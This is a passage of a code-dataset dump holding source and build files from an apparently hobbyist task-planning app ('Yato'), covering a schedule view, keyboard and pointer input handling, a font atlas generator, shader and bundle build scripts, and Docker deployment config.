newObj;\n}" }, { "alpha_fraction": 0.5136186480522156, "alphanum_fraction": 0.5136186480522156, "avg_line_length": 20.41666603088379, "blob_id": "e214589c0c976187fdcab635c298672310f6e6f8", "content_id": "38dc27dafdef1f2da63108778d94506e54196b6a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 257, "license_type": "permissive", "max_line_length": 65, "num_lines": 12, "path": "/client/src/Main.js", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "\"use strict\"\nrequire(\"../version-info\")\n\nexports.startUI = ( gid ) => ( devMode ) => ( remote ) => () => {\n var ui = require(\"../../output-tsc/ui\")\n try {\n ui.mainTs( gid, devMode, remote )\n } catch ( e ) {\n console.trace( e )\n alert( e )\n }\n}\n" }, { "alpha_fraction": 0.5779135823249817, "alphanum_fraction": 0.6080314517021179, "avg_line_length": 22.61855697631836, "blob_id": "c7772d24b583ddfdd400b2a4a8e5f806141a5976", "content_id": "4b56ff9e1e431f378a304dd53b89360192dbc110", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2291, "license_type": "permissive", "max_line_length": 81, "num_lines": 97, "path": "/client/src/view/font-gen.py", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "from PIL import Image\nimport rectpack\nimport freetype as ft\nimport json\n\nfontname = 'DejaVuSerif'\nsizes = []\nfor i in range(100):\n size = 8 * (1.125 ** i)\n if size > 100: break\n sizes.append(round(size))\nprint(sizes)\n\nchars = (33, 126)\ndims = (2048, 2048)\n\nfontpath = f'client/public/assets/fonts/{fontname}.ttf'\noutbase = f'client/public/assets/fonts/{fontname}'\n\npacker = rectpack.newPacker(rotation=False, pack_algo=rectpack.GuillotineBssfSas)\npacker.add_bin(*dims, float('inf'))\n\nface = ft.Face(fontpath)\n\ndef print_bitmap(bitmap):\n for y in range(bitmap.rows):\n for x in range(bitmap.width):\n val = bitmap.buffer[y*bitmap.pitch + x]\n txt = '*' if val else '.'\n print(txt, end=' ')\n print()\n print()\n\ndef pix26_6(v): return int(v / 64)\n\nglyphs = {}\nmetrics = {}\nfor size in sizes:\n face.set_pixel_sizes(0, size)\n\n face.load_char(32, ft.FT_LOAD_DEFAULT)\n space = pix26_6(face.glyph.advance.x)\n\n mchars = {}\n ymin = +1000\n ymax = -1000\n\n for ch in range(chars[0], chars[1]+1):\n gid = (size, ch)\n face.load_char(ch, ft.FT_LOAD_RENDER)\n bitmap = face.glyph.bitmap\n #print_bitmap(bitmap)\n w, h = bitmap.width, bitmap.rows\n glyphs[gid] = Image.frombytes('L', (w, h), bytes(bitmap.buffer))\n packer.add_rect(w, h, gid)\n\n yoff = face.glyph.bitmap_top - h + 1\n ymin = min(ymin, yoff)\n ymax = max(ymax, yoff + h - 1)\n mchars[chr(ch)] = {\n 'advance': pix26_6(face.glyph.advance.x),\n 'off': (face.glyph.bitmap_left, yoff),\n 'dim': (w, h),\n }\n\n kerns = {}\n for i in range(chars[0], chars[1]+1):\n for j in range(chars[0], chars[1]+1):\n k = face.get_kerning(i, j, 0)\n if k.x: kerns[chr(i)+chr(j)] = pix26_6(k.x)\n\n metrics[size] = {\n 'ymin': ymin,\n 'ymax': ymax,\n 'space': space,\n 'chars': mchars,\n 'kerns': kerns,\n }\n\nmetrics['minSize'] = sizes[0]\nmetrics['maxSize'] = sizes[-1]\n\npacker.pack()\n\natlases = []\nfor _ in range(len(packer)):\n atlases.append(Image.new('L', dims))\n\nfor b, x, y, w, h, gid in packer.rect_list():\n ry = dims[1] - y - h\n atlases[b].paste(glyphs[gid], (x, ry))\n metrics[gid[0]]['chars'][chr(gid[1])]['uvw'] = [x, y, b]\n\nfor b, atlas in enumerate(atlases):\n atlas.save(f'{outbase}-atlas{b:02}.png')\n\njson.dump(metrics, open(f'{outbase}.json', 'w'), indent=0)\n" }, { "alpha_fraction": 0.6685267686843872, "alphanum_fraction": 0.6707589030265808, "avg_line_length": 27, "blob_id": "00bd8c0bf83952eec2af100215fbed2e7a208fc1", "content_id": "154f4b164c2e31f1995c2e11bf09edb6840e0b65", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 896, "license_type": "permissive", "max_line_length": 79, "num_lines": 32, "path": "/server/build.py", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import os, sys, time, argparse\nimport subprocess as sp\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--watch', action='store_true')\nargs, xargs = parser.parse_known_args()\n\n# install node_modules\nsp.run(['npm', 'install', '--no-update-notifier', '--no-progress'], check=True)\n\n# reset trigger\ntrigger = 'output/success'\ntry: os.remove(trigger)\nexcept OSError: pass\n\n# start build and test\ncmd = ['spago', '-x', 'test.dhall', 'test']\nif args.watch: cmd.append('-w')\ncmd += ['--purs-args', '--censor-lib --censor-codes=HiddenConstructors']\ncmd += ['--then', './build-help.sh']\ncmd += ['--then', 'touch ' + trigger]\n\nif args.watch: sp.Popen(cmd)\nelse: sp.run(cmd, check=True)\n\n# wait for first successful test\nif args.watch:\n while not os.path.exists(trigger): time.sleep(0.5)\n\n# start monitoring\nif args.watch:\n sp.run(['nodemon', '-w', trigger, '-w', 'index.js', 'index.js'] + xargs)\n" }, { "alpha_fraction": 0.6122024655342102, "alphanum_fraction": 0.6154136657714844, "avg_line_length": 32.92948532104492, "blob_id": "870e25fb14097d81eb78111036345ac4d9123ca5", "content_id": "a4af56f1d85336aa4f3058663ae56c2bb725cbb9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 5294, "license_type": "permissive", "max_line_length": 115, "num_lines": 156, "path": "/client/src/control/schedule.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as G from '../../output/Yato.Common.Graph'\nimport * as Actions from './actions.js'\nimport * as T from '../../output/Yato.Common.Time'\nimport * as ScheduleView from '../view/schedule'\nimport {\n DaySlot,\n DAYS_PER_WEEK,\n MS_PER_DAY,\n MS_PER_SLOT,\n ScheduleItem,\n SLOTS_PER_DAY,\n WeekTable,\n} from '../model/schedule'\n\nconst getWeekBounds = ( time: T.Timestamp ) => {\n const tmp = new Date( time )\n tmp.setHours(0, 0, 0, 0)\n const beg = new Date( tmp.setDate(tmp.getDate() - tmp.getDay()));\n const end = new Date( tmp.setDate(beg.getDate() + 7));\n return {beg: beg.getTime(), end: end.getTime()}\n}\n\ntype CachedNode = { title: string, items: Array<G.ScheduleItem> }\n\nconst timeFromSlot = ( pos: DaySlot, weekStartTime: number ) => {\n return weekStartTime + pos.day * MS_PER_DAY + pos.slot * MS_PER_SLOT\n}\n\nconst slotFromTime = ( time: number, weekStartTime: number ) => {\n const weekOffsetMS = time - weekStartTime\n const dayIdx = Math.floor( weekOffsetMS / MS_PER_DAY )\n const slotIdx = Math.floor( weekOffsetMS % MS_PER_DAY / MS_PER_SLOT )\n return { day: dayIdx, slot: slotIdx }\n}\n\nexport const init = ( actions: Actions.Api ) => {\n // Initialize node cache layer (refreshed from current graph state).\n const nodeCache = new Map<G.NodeId, CachedNode>()\n\n const getNode = ( nodeId: G.NodeId ) => {\n const node = nodeCache.get( nodeId )\n return node ? node : {title: '', items: []}\n }\n const setNodeSchedule = ( nodeId: G.NodeId, schedule: Array<G.ScheduleItem> ) => {\n getNode( nodeId ).items = schedule\n const encoded = JSON.stringify( schedule )\n actions.setAttr( nodeId, 'schedule', encoded )\n // console.log( nodeId, encoded )\n }\n const addScheduleItem = ( nodeId: G.NodeId, item: G.ScheduleItem ) => {\n const arr = getNode( nodeId ).items\n arr.push( item )\n setNodeSchedule( nodeId, arr )\n }\n const updateScheduleItem = ( nodeId: G.NodeId, oldItem: G.ScheduleItem, newItem: G.ScheduleItem ) => {\n const arr0 = getNode( nodeId ).items\n const arr1 = arr0.filter( ( x ) => x.startTime != oldItem.startTime )\n arr1.push( newItem )\n setNodeSchedule( nodeId, arr1 )\n }\n\n // Initialize week data layer.\n const weekTable: WeekTable = []\n for ( let i = 0; i < DAYS_PER_WEEK; ++i ) {\n const daySlots: ( ScheduleItem | null )[] = []\n for ( let j = 0; j < SLOTS_PER_DAY; ++j ) {\n daySlots.push( null )\n }\n weekTable.push( daySlots )\n }\n\n let weekBounds = { beg: 0, end: 0 }\n\n const moveWeekItem = ( from: DaySlot, to: DaySlot ): boolean => {\n const it = weekTable[ from.day ][ from.slot ]\n if ( it ) {\n weekTable[ from.day ][ from.slot ] = null\n weekTable[ to.day ][ to.slot ] = it\n const oldItem = it.item\n const newItem = { startTime: timeFromSlot( to, weekBounds.beg ), duration: oldItem.duration }\n it.item = newItem\n updateScheduleItem( it.nodeId, oldItem, newItem )\n return true\n }\n return false\n }\n\n const resizeWeekItem = ( from: DaySlot, to: DaySlot ): boolean => {\n const it = weekTable[ from.day ][ from.slot ]\n if ( it ) {\n const oldItem = it.item\n const newDuration = ( to.slot - from.slot + 1 ) * MS_PER_SLOT\n const newItem = { startTime: oldItem.startTime, duration: newDuration }\n it.item = newItem\n updateScheduleItem( it.nodeId, oldItem, newItem )\n return true\n }\n return false\n }\n\n const addWeekItem = ( pos: DaySlot, nodeId: G.NodeId | null = null ): boolean => {\n if ( nodeId !== null ) {\n const item = { startTime: timeFromSlot( pos, weekBounds.beg ), duration: MS_PER_SLOT }\n const it = { nodeId: nodeId, item, title: getNode( nodeId ).title }\n weekTable[ pos.day ][ pos.slot ] = it\n nodeId = null\n addScheduleItem( it.nodeId, it.item )\n return true\n }\n return false\n }\n\n const scheduleView = ScheduleView.init( moveWeekItem, resizeWeekItem, addWeekItem, actions )\n\n return {\n show: (floatingNodeId:G.NodeId|null = null) => {\n scheduleView.unhide()\n scheduleView.reset( weekTable, floatingNodeId )\n },\n\n hide: scheduleView.hide,\n\n updateFromGraph: ( graph: G.Graph ) => {\n const time = Date.now()\n\n // Reset cached node schedules according to graph state.\n nodeCache.clear()\n G.dfsPost( time )( G.rootId )( graph )( {} )( ( nodeId: G.NodeId ) => (_: any): any => {\n const node = {title: G.getTitle( time )( nodeId )( graph), items: G.getSchedule( time )( nodeId )( graph )}\n nodeCache.set( nodeId, node )\n } )\n\n // Clear week table to empty.\n for ( let i = 0; i < DAYS_PER_WEEK; ++i ) {\n for ( let j = 0; j < SLOTS_PER_DAY; ++j ) {\n weekTable[ i ][ j ] = null\n }\n }\n\n // Insert items within current week's bounds into the week table.\n weekBounds = getWeekBounds( time )\n for ( const [nodeId, node] of nodeCache.entries() ) {\n for ( const item of node.items ) {\n if ( weekBounds.beg <= item.startTime && item.startTime < weekBounds.end ) {\n const pos = slotFromTime( item.startTime, weekBounds.beg )\n weekTable[ pos.day ][ pos.slot ] = {nodeId, item, title: node.title}\n }\n }\n }\n\n scheduleView.reset( weekTable )\n },\n }\n}\n\nexport type Api = ReturnType<typeof init>;\n\n" }, { "alpha_fraction": 0.7507042288780212, "alphanum_fraction": 0.7563380002975464, "avg_line_length": 34.5, "blob_id": "700f3440d8fd123b4065b964ca62d00cd1d02e93", "content_id": "f5f7d7bb57a3ec6ca120b24ee344970cc5a61214", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 710, "license_type": "permissive", "max_line_length": 65, "num_lines": 20, "path": "/cmd/deploy.dockerfile", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "FROM yato.base\n\n# install version-locked npm global dependencies\nRUN npm i -g \\\n [email protected]\n\n# setup user environment\nRUN adduser user\nUSER user\nWORKDIR /home/user/yato\n\n# copy distribution files, starting from least frequently changed\nCOPY --chown=user:user server/node_modules server/node_modules\nCOPY --chown=user:user client/node_modules client/node_modules\nCOPY --chown=user:user client/public client/public\nCOPY --chown=user:user server/index.js server/index.js\nCOPY --chown=user:user client/index.pug client/index.pug\nCOPY --chown=user:user client/index.css client/index.css\nCOPY --chown=user:user server/output server/output\nCOPY --chown=user:user client/dist client/dist\n" }, { "alpha_fraction": 0.6122382283210754, "alphanum_fraction": 0.6178010702133179, "avg_line_length": 31.510639190673828, "blob_id": "501c91d70993cf0dd6dbede8b51036ba55316881", "content_id": "4488d8742c3b0dc59d43f0c6dcf24f56da1acdbb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3056, "license_type": "permissive", "max_line_length": 97, "num_lines": 94, "path": "/client/build.py", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import os, sys, time, argparse, datetime\nimport subprocess as sp\nfrom threading import Thread\nfrom queue import Queue, Empty\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--watch', action='store_true')\nparser.add_argument('--tsc-only', action='store_true')\nargs = parser.parse_args()\n\n# install node_modules\nif not args.tsc_only:\n sp.run(['npm', 'install', '--no-update-notifier', '--no-progress'], check=True)\n\n # reset trigger\n trigger = 'output/success'\n try: os.remove(trigger)\n except OSError: pass\n\n # start build and test\n cmd = ['spago', '-x', 'test.dhall', 'test']\n if args.watch: cmd.append('-w')\n cmd += ['--purs-args', '--censor-lib --censor-codes=HiddenConstructors']\n cmd += [\n '--then', 'echo \"Generating typescript definitions...\"',\n '--then', '../tools/purs-tsd-gen -d output Yato.Client.Remote',\n\n '--then', 'echo \"Patching typescript definitions...\"',\n '--then', 'find output -name index.d.ts -exec sed -i \\'/ : unsupported kind/d\\' {} \\;',\n\n '--then', 'touch ' + trigger,\n '--then', 'touch ' + 'src/tsconfig.json',\n ]\n if args.watch: sp.Popen(cmd)\n else: sp.run(cmd, check=True)\n\n # wait for first successful test\n if args.watch:\n while not os.path.exists(trigger): time.sleep(0.5)\n\n # build glsl\n glslCmd = ['python3.8', './build-glsl.py']\n sp.run(glslCmd, check=True)\n\n# build glsl, typescript, and bundle\nbundleCmd = ['esbuild', '--bundle', '--format=esm', '--sourcemap',\n '--outdir=dist', 'output/Main/index.js']\n\nif args.watch:\n sp.Popen(['tsc-watch', '--preserveWatchOutput', '--project', './src',\n '--onSuccess', 'sh -c \\'./build-version.sh > output/version-info.js && ' +\n ' '.join(bundleCmd) + '\\''\n ])\n\n # https://stackoverflow.com/questions/375427/a-non-blocking-read-on-a-subprocess-pipe-in-python\n ON_POSIX = 'posix' in sys.builtin_module_names\n def enqueue_output(out, queue):\n for line in iter(out.readline, b''):\n queue.put(line.decode().strip())\n out.close()\n\n p = sp.Popen(['inotifywait', '-rm', '-e', 'modify', 'src'], stdout=sp.PIPE, close_fds=ON_POSIX)\n q = Queue()\n t = Thread(target=enqueue_output, args=(p.stdout, q))\n t.daemon = True # thread dies with the program\n t.start()\n\n while True:\n # wait for next line\n line = q.get()\n if line.endswith('.glsl'):\n print(line, 'triggering glsl rebuild...')\n t1 = datetime.datetime.now()\n delay = 0.2\n time.sleep( delay )\n # while True:\n # t2 = datetime.datetime.now()\n # timeout = (t2 - t1).total_seconds()\n # if timeout > delay: break\n\n # # read line without blocking\n # try: line = q.get(timeout=timeout)\n # except Empty: pass # no line yet\n # else: pass # got line, ignore\n\n # run glsl after delay\n p = sp.run(glslCmd)\n if p.returncode == 0:\n sp.run(['touch', 'src/tsconfig.json'], check=True)\n\nelse:\n sp.run(['tsc', '--project', './src'], check=True)\n sp.run(['./build-version.sh'], stdout=open('output/version-info.js', 'w'), check=True)\n sp.run(bundleCmd, check=True)\n" }, { "alpha_fraction": 0.6361209750175476, "alphanum_fraction": 0.6379003524780273, "avg_line_length": 31.14285659790039, "blob_id": "001eb69a2d1113d9c8bf6ac7f12798bcdad7a376", "content_id": "d34a6e0fd76973320490650bc0a684c8e102ef7d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1124, "license_type": "permissive", "max_line_length": 95, "num_lines": 35, "path": "/client/build-glsl.py", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import subprocess as sp\nimport os, glob, sys\n\npaths = []\npaths += glob.glob(\"src/**/*.vert.glsl\", recursive=True)\npaths += glob.glob(\"src/**/*.frag.glsl\", recursive=True)\npaths.sort()\n\nfor srcpath in paths:\n outprefix = srcpath.replace('src/', 'output-glsl/')\n outpath = outprefix + '.js'\n\n p = sp.run(['glslangValidator', '-l', srcpath])\n if p.returncode != 0: sys.exit(1)\n\nfor srcpath in paths:\n outprefix = srcpath.replace('src/', 'output-glsl/')\n outpath = outprefix + '.js'\n\n p = sp.run(['glslangValidator', '-E', srcpath], stdout=sp.PIPE, check=True)\n\n os.makedirs(os.path.dirname(outpath), exist_ok=True)\n with open(outpath, 'w') as out:\n print('module.exports = {shader: {source:`', file=out, end='')\n for line in p.stdout.decode().splitlines():\n if line.startswith('#line') or line.startswith('#extension GL_GOOGLE_include_directive'):\n print('', file=out)\n else:\n print(line, file=out)\n print('`}}', file=out)\n\n outdef = outprefix + '.d.ts'\n if not os.path.exists(outdef):\n with open(outdef, 'w') as out:\n print('export const shader: {source: string}', file=out)" }, { "alpha_fraction": 0.5712418556213379, "alphanum_fraction": 0.5712418556213379, "avg_line_length": 14.300000190734863, "blob_id": "5657594cde897ad12158b7b7ee12a043f928eefc", "content_id": "cb3105fa99f9747fd91a4384513702da73146e9f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 2295, "license_type": "permissive", "max_line_length": 88, "num_lines": 150, "path": "/client/src/view/inspire.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "const prefixes = [\n 'breaking news',\n 'as it happened',\n 'live',\n 'breaking',\n]\n\nconst verbs = [\n 'destroyed',\n 'demolished',\n 'incinerated',\n 'crushed',\n 'leveled',\n 'quashed',\n 'squashed',\n 'squished',\n 'obliterated',\n 'finished',\n 'thwarted',\n 'defeated',\n 'wrecked',\n 'foiled',\n 'flattened',\n 'deflated',\n 'triturated',\n 'levigated',\n 'annihilated',\n 'exterminated',\n 'eradicated',\n 'extirpated',\n 'eliminated',\n 'liquified',\n 'liquidated',\n]\n\nconst adjectives = [\n 'hard',\n 'strong',\n 'powerful',\n 'inspirational',\n 'robust',\n 'brawny',\n 'strapping',\n 'burly',\n 'vigorous',\n 'tough',\n 'stalwart',\n 'mighty',\n 'herculean',\n 'buffed',\n 'careful',\n 'incredible',\n 'excellent',\n 'great',\n 'worthy',\n 'godlike',\n 'godly',\n 'divine',\n 'angelic',\n 'holy',\n 'seraphic',\n 'transcendent',\n 'confident',\n 'doubtless',\n 'heavenly',\n 'indubitable',\n 'courageous',\n 'flawless',\n 'incalculable',\n 'reasonable',\n 'perfect',\n 'fine',\n 'fantastic',\n 'nuclear',\n 'double-stuffed',\n 'sharp',\n 'precise',\n 'faithful',\n 'endearing',\n 'bombastic',\n 'humongous',\n 'ultimate',\n 'big',\n 'fit',\n 'sexy',\n 'huge',\n 'yuge',\n 'pumpkin',\n 'anti-procrastination',\n 'battle-tested',\n]\n\nconst objects = [\n 'anti-procrastination',\n 'character',\n 'charm',\n 'work',\n 'quotes',\n 'work-ethic',\n 'ethics',\n 'scheduling',\n 'planning',\n 'perseverance',\n 'fundamentals',\n 'determination',\n 'tenacity',\n 'resolve',\n 'patience',\n 'diligence',\n 'commitment',\n 'assiduity',\n 'endurance',\n 'faith',\n 'heaven',\n 'missiles',\n 'strength',\n 'stronks',\n 'oreos',\n 'curry',\n 'pie',\n 'puppies',\n 'kittens',\n 'bunnies',\n 'hampsters',\n 'dancing',\n 'singing',\n 'music',\n 'cookies',\n 'projectiles',\n 'bombs',\n 'bullets',\n 'rockets',\n 'lasers',\n 'guns',\n 'lightning',\n 'precision',\n 'nukes',\n]\n\nconst choose = ( x: any[] ): any => x[ Math.floor( Math.random() * x.length ) ]\n\nexport const gen = ( subject: string ): string => {\n const prefix = choose( prefixes )\n const verb = choose( verbs )\n const adjective = choose( adjectives )\n const object = choose( objects )\n\n return prefix.toUpperCase() + ': \\'' + subject + '\\' ' + verb.toUpperCase() + ' by ' +\n adjective.toUpperCase() + ' ' + object + '.'\n}\n" }, { "alpha_fraction": 0.5113186240196228, "alphanum_fraction": 0.520373523235321, "avg_line_length": 33.3106803894043, "blob_id": "d131573ed6f77c235603d0ffeac783626653b7b6", "content_id": "a0fff1738dec01a3609f711a255e5192c7f7abac", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 3534, "license_type": "permissive", "max_line_length": 80, "num_lines": 103, "path": "/client/src/control/input.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as Interaction from './interaction.js'\n\nexport const init = ( pointerArea: HTMLElement, icontrol: Interaction.Api ) => {\n\n window.addEventListener( 'resize', ( event ) => {\n icontrol.resize()\n } )\n\n pointerArea.addEventListener( 'wheel', ( event ) => {\n icontrol.zoom( event.deltaY > 0 ? -1 : +1 )\n } )\n\n pointerArea.addEventListener( 'pointermove', ( event ) => {\n icontrol.pointerMove( event.clientX, event.clientY )\n } )\n\n pointerArea.addEventListener( 'pointerdown', ( event ) => {\n if ( event.button == 0 ) {\n icontrol.pointerDown()\n }\n if ( event.button == 2 ) {\n icontrol.rightBtnDown( event.clientX, event.clientY )\n }\n } )\n\n pointerArea.addEventListener( 'pointerup', ( event ) => {\n if ( event.button == 0 ) {\n icontrol.pointerUp()\n }\n if ( event.button == 2 ) {\n icontrol.rightBtnUp()\n }\n } )\n\n let buttonsLeave = 0\n pointerArea.addEventListener( 'pointerleave', ( event ) => {\n buttonsLeave = event.buttons\n } )\n pointerArea.addEventListener( 'pointerenter', ( event ) => {\n if ( (buttonsLeave & 1) == 0 && (event.buttons & 1) != 0 ) {\n icontrol.pointerDown()\n }\n if ( (buttonsLeave & 1) != 0 && (event.buttons & 1) == 0 ) {\n icontrol.pointerUp()\n }\n icontrol.pointerMove( event.clientX, event.clientY )\n if ( (buttonsLeave & 2) == 0 && (event.buttons & 2) != 0 ) {\n icontrol.rightBtnDown( event.clientX, event.clientY )\n }\n if ( (buttonsLeave & 2) != 0 && (event.buttons & 2) == 0 ) {\n icontrol.rightBtnUp()\n }\n } )\n\n type KeyActions = { [ key: string ]: { [ mod: string ]: () => void } }\n\n // Keydowns can be \"repeated\" when user holds the key for some time.\n const keydowns: KeyActions = {\n \"=\": { \"\" : () => icontrol.zoom( +1 ) },\n \"-\": { \"\" : () => icontrol.zoom( -1 ) },\n z: { \"Ctrl\" : icontrol.undo },\n Z: { \"Ctrl\" : icontrol.redo },\n e: { \"\" : icontrol.addEdgeStart },\n f: { \"\" : icontrol.changeParentStart },\n n: { \"\" : icontrol.nextSimStep }, // dev only\n \"[\": { \"\" : () => icontrol.navSimHistory( -1 ) }, // dev only\n \"]\": { \"\" : () => icontrol.navSimHistory( +1 ) }, // dev only\n \"{\": { \"\" : () => icontrol.navSimHistory( -10 ) }, // dev only\n \"}\": { \"\" : () => icontrol.navSimHistory( +10 ) }, // dev only\n }\n // Keyups are never \"repeated\", better for events that should be throttled.\n const keyups: KeyActions = {\n s: { \"\" : icontrol.scheduleOverlayStart },\n Escape: { \"\" : icontrol.scheduleOverlayEnd },\n Enter: {\n \"\": () => icontrol.hideCard( false ),\n \"Ctrl\": () => icontrol.hideCard( true )\n },\n r: { \"\" : icontrol.editTitle },\n c: { \"\" : icontrol.addNode },\n d: { \"\" : icontrol.remove },\n e: { \"\" : icontrol.addEdgeEnd },\n f: { \"\" : icontrol.changeParentEnd },\n i: { \"\" : icontrol.toggleSimPause }, // dev only\n }\n\n const handleKey = ( keyActions: KeyActions ) => ( event: KeyboardEvent ) => {\n const mods = keyActions[ event.key ]\n if ( mods ) {\n let s = \"\"\n if ( event.ctrlKey ) {\n s += \"Ctrl\"\n }\n if ( event.altKey ) {\n s += \"Alt\"\n }\n const action = mods[ s ]\n if ( action ) action()\n }\n }\n document.addEventListener( 'keydown', handleKey( keydowns ) )\n document.addEventListener( 'keyup', handleKey( keyups ) )\n}\n" }, { "alpha_fraction": 0.6242544651031494, "alphanum_fraction": 0.6500993967056274, "avg_line_length": 32.53333282470703, "blob_id": "5015bc273ec451f8bbf3da0964cee0794ae0eb44", "content_id": "4ab98323d5acdc7c09ddc61b85f673f24d85cfdd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "YAML", "length_bytes": 503, "license_type": "permissive", "max_line_length": 120, "num_lines": 15, "path": "/cmd/instance-scripts/docker-compose.yml", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "version: \"3.7\"\n\nservices:\n promo:\n container_name: yato-promo\n image: \"zycrot/yato.promo:${DOMAIN}\"\n working_dir: /home/user/yato/server\n command: pm2-runtime --max-memory-restart 500M index.js -- --certpath /etc/letsencrypt/live/${DOMAIN} ${SERVER_ARGS}\n ports:\n - 443:3000 # https\n env_file:\n - .cred/aws.env\n volumes:\n - /etc/letsencrypt/archive/${DOMAIN}:/etc/letsencrypt/archive/${DOMAIN}\n - /etc/letsencrypt/live/${DOMAIN}:/etc/letsencrypt/live/${DOMAIN}\n" }, { "alpha_fraction": 0.6003972887992859, "alphanum_fraction": 0.6032114028930664, "avg_line_length": 28.910890579223633, "blob_id": "9fba34cfa492b838814a4d701ecd9d515fa65cc5", "content_id": "56d752d9744ad12dee0e344cb1d449f4ab10650a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 6041, "license_type": "permissive", "max_line_length": 108, "num_lines": 202, "path": "/client/src/view/schedule.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as G from '../../output/Yato.Common.Graph'\nimport * as Actions from '../control/actions.js'\nimport {\n DaySlot,\n DAYS_PER_WEEK,\n MS_PER_SLOT,\n ScheduleItem,\n SLOTS_PER_DAY,\n WeekTable,\n} from \"../model/schedule\"\n\ntype DragType = 'item' | 'resize'\n\nexport const init = ( moveWeekItem: ( from: DaySlot, to: DaySlot ) => boolean,\n resizeWeekItem: ( from: DaySlot, to: DaySlot ) => boolean,\n addWeekItem: ( pos: DaySlot, nodeId: G.NodeId | null ) => boolean,\n actions: Actions.Api ) => {\n\n const CELL_HEIGHT_PX = 20\n\n const container = <HTMLElement>document.querySelector( '.scheduleOverlay' )\n const htmlTable = <HTMLTableElement>document.querySelector( '.weekView' )\n const itemOverlay = <HTMLElement>document.querySelector( '.scheduleItems' )\n\n for ( let j = 0; j < SLOTS_PER_DAY; ++j ) {\n const weekRow = htmlTable.insertRow()\n const timeLabel = document.createElement( 'div' )\n const dateTime = new Date( j * MS_PER_SLOT ).toUTCString()\n timeLabel.innerHTML = dateTime.substring( 17, 22 )\n const rowHeader = document.createElement( 'th' )\n rowHeader.appendChild( timeLabel )\n weekRow.appendChild( rowHeader )\n for ( let i = 0; i < DAYS_PER_WEEK; ++i ) {\n weekRow.insertCell()\n }\n }\n\n let fromSlot: DaySlot | undefined = undefined\n let fromType: DragType | undefined = undefined\n\n const handleDrop = ( toSlot: DaySlot ) => ( e: Event ) => {\n e.stopPropagation();\n\n if ( fromSlot && fromSlot !== toSlot ) {\n switch ( fromType ) {\n case 'item':\n moveWeekItem( fromSlot, toSlot ) ? populateHTMLTable : {}\n break\n case 'resize':\n resizeWeekItem( fromSlot, toSlot ) ? populateHTMLTable : {}\n break\n default:\n throw Error()\n }\n }\n\n return false;\n }\n\n const saveFrom = ( slot: DaySlot ) => {\n fromSlot = slot;\n }\n\n const styleMove = ( e: DragEvent ) => {\n if ( e.dataTransfer ) {\n e.dataTransfer.effectAllowed = 'move';\n e.dataTransfer.setData( 'text/html', 'All your data are belong to us' );\n }\n }\n\n const preventDefault = ( e: DragEvent ) => {\n if ( e.preventDefault ) {\n e.preventDefault();\n }\n\n return false;\n }\n\n const styleHover = ( div: HTMLDivElement ) => ( e: DragEvent ) => {\n div.classList.add( 'over' );\n }\n\n const styleDefault = ( div: HTMLDivElement ) => ( e: DragEvent ) => {\n div.classList.remove( 'over' );\n }\n\n const makeSlot = ( slot: DaySlot, floatingNodeId: G.NodeId | null = null ) => {\n const div = document.createElement( 'div' )\n\n div.classList.add( 'slot' )\n div.style.height = CELL_HEIGHT_PX + 'px'\n\n div.addEventListener( 'drop', handleDrop( slot ) )\n div.addEventListener( 'dragenter', styleHover( div ) )\n div.addEventListener( 'dragleave', styleDefault( div ) )\n div.addEventListener( 'dragover', preventDefault )\n\n div.addEventListener( 'click', ( e: Event ) => {\n e.preventDefault()\n addWeekItem( slot, floatingNodeId ) ? populateHTMLTable : {}\n return false\n } )\n\n div.addEventListener( 'dblclick', ( e: Event ) => {\n e.preventDefault()\n const newId = actions.addChild( G.rootId )\n addWeekItem( slot, newId ) ? populateHTMLTable : {}\n } )\n\n return div\n }\n\n const makeSchedItem = ( height: number, slot: DaySlot, scheduleItem: ScheduleItem ) => {\n const item = document.createElement( 'div' )\n\n item.classList.add( 'scheduleItem' )\n item.innerHTML = scheduleItem.title\n item.contentEditable = 'true'\n item.onkeydown = ( e ) => {\n console.log( e.key )\n // TODO: Probably doesn't work on Mac.\n if ( e.key == 'Enter' ) {\n e.preventDefault()\n }\n }\n item.addEventListener( 'focusout', () => {\n actions.setAttr( scheduleItem.nodeId, 'title', item.innerText )\n } )\n item.draggable = true\n\n item.ondragstart = e => {\n saveFrom( slot )\n styleMove( e )\n fromType = 'item'\n }\n const resizeBar = document.createElement( 'div' )\n resizeBar.classList.add( 'resizeBar' )\n resizeBar.draggable = true\n\n resizeBar.ondragstart = e => {\n e.stopPropagation()\n saveFrom( slot )\n item.style.pointerEvents = 'none'\n fromType = 'resize'\n }\n\n resizeBar.ondragend = e => {\n setTimeout( () => {\n item.style.pointerEvents = 'auto'\n } )\n }\n\n item.style.height = height - 8 + 'px'\n\n const container = document.createElement( 'div' )\n container.classList.add( 'itemContainer' )\n container.appendChild( item )\n 